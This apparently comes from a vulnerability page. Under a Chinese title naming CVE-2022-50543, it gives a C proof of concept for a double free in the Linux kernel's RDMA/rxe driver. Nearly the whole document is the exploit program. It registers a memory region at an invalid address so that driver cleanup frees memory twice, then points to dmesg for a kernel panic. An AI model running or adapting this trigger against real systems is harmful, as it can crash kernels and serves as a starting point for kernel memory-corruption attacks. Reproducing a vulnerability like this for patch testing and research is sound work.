CVE-2022-50543 Linux内核RDMA/rxe双重释放漏洞

/* * CVE-2022-50543 - Linux Kernel RDMA/rxe Double Free PoC * This PoC triggers the double-free vulnerability by attempting to register * a memory region (MR) via RDMA user verbs in a way that causes * rxe_mr_init_user() to fail after mr->map allocation. * * Note: Requires RDMA/rxe module loaded and appropriate permissions. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <sys/mman.h> #include <infiniband/verbs.h> int main(int argc, char *argv[]) { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_mr *mr; int ret; /* Get list of RDMA devices */ dev_list = ibv_get_device_list(NULL); if (!dev_list || !dev_list[0]) { fprintf(stderr, "No RDMA devices found. Ensure rxe (Soft-RoCE) is loaded.\n"); fprintf(stderr, "Load with: modprobe rdma_rxe\n"); return 1; } /* Open the rxe device */ ctx = ibv_open_device(dev_list[0]); if (!ctx) { fprintf(stderr, "Failed to open device: %s\n", strerror(errno)); ibv_free_device_list(dev_list); return 1; } /* Allocate a Protection Domain */ pd = ibv_alloc_pd(ctx); if (!pd) { fprintf(stderr, "Failed to allocate PD: %s\n", strerror(errno)); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } /* * Trigger the vulnerability: Register an MR with invalid parameters * to cause rxe_mr_init_user() to fail after mr->map is allocated. * Using an unmapped/invalid address with specific access flags * to trigger the error path in rxe_reg_user_mr(). */ void *invalid_addr = (void *)0xDEADBEEF000ULL; size_t mr_size = 4096; /* Attempt to register MR with an invalid address to trigger error path */ mr = ibv_reg_mr(pd, invalid_addr, mr_size, IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_REMOTE_READ | IBV_ACCESS_MW_BIND); if (mr) { printf("MR registered (unexpected). Cleaning up.\n"); ibv_dereg_mr(mr); } else { printf("MR registration failed as expected (errno=%d: %s)\n", errno, strerror(errno)); printf("If vulnerable, check dmesg for kernel panic/double-free report.\n"); } /* Cleanup */ ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }